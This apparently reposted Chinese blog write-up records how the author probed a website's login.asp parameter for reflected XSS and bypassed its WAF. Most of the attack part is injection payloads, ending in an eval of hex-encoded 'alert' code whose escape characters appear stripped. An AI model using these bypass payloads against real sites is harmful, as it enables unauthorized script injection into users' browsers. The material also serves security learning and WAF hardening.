一次绕过waf进行xss的经历

admin 2025年1月11日14:40:01评论11 views字数 1143阅读3分48秒阅读模式

今天室友遇到一个好玩的网站,下面是一些尝试绕过Waf进行XSS的记录。首先该网站没有对左右尖号和单双引号做任何过滤或转义。且有未知的waf或者其他阻止恶意访问的手段。

首先我的访问为 login.asp?f=1 时候,页面关键源码为

一次绕过waf进行xss的经历

可能是表示登录次数的一个东西?(猜测) 现在我们知道的信息是参数f会填充到 loginflag这个隐藏框内。

尝试

首先做一些基础的XSS尝试:

script标签

login.asp?f=1"><script>

复制

一次绕过waf进行xss的经历

直接触发waf

img标签

login.asp?f=123" <img onload="alert(x)" src="

复制

一次绕过waf进行xss的经历

/login.asp?f=123" <img src="

复制

一次绕过waf进行xss的经历

可以正常的释放引号与尖号,也可以完整释放出 img标签。但是只要和on事件搭上边,就触发了这个waf。https://www.w3schools.com/jsref/dom_obj_event.asp 这里的一些基础事件都做了尝试。无解。

iframe标签

login.asp?f=123"> <iframe SRC="https://www.baidu.com

复制

一次绕过waf进行xss的经历

可解,但是总觉得没有弹窗是有点不爽的意思。

继续尝试执行JS

尝试使用H标签,例如h1

一次绕过waf进行xss的经历

可以正常放出onload事件,所以此处这个waf禁止的只是img的on事件。尝试弹窗:

login.asp?f=1"><h1 onload="alert()">Hello</h1><img src="

复制

一次绕过waf进行xss的经历

我们又回到了waf上面,尝试了alert、confirm、prompt都被拦截。但是可以console.log。

login.asp?f=1"><h1 onmouseover="console.log(/cxk/)">Hello</h1><img src="

复制

一次绕过waf进行xss的经历

这就有点再次陷入尴尬,还是没有弹窗。不过我们已经可以执行js了,可以使用eval轻松的绕过。

login.asp?f="><h1 onmouseover=eval("x6ax61x76x61x73x63x72x69x70x74x3ax61x6cx65x72x74x28x22x58x53x53x22x29")>Hello</h1><img src="

复制

一次绕过waf进行xss的经历

总结

首先肯定是不存在大小写绕过的,不然也不会这么费劲。我们不难看出,该WAF主要针对两点做了一些手段。

  1. script标签

  2. img标签的 onXX事件

  3. onXX事件里面不能有弹窗函数 alert、confirm、prompt

治标不治本,当然针对XSS最傻瓜的处理办法还是不要放过尖号好引号。

内容来源:https://cloud.tencent.com/developer/article/1688902

原文始发于微信公众号(黑战士):一次绕过waf进行xss的经历

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日14:40:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次绕过waf进行xss的经历https://cn-sec.com/archives/1123519.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息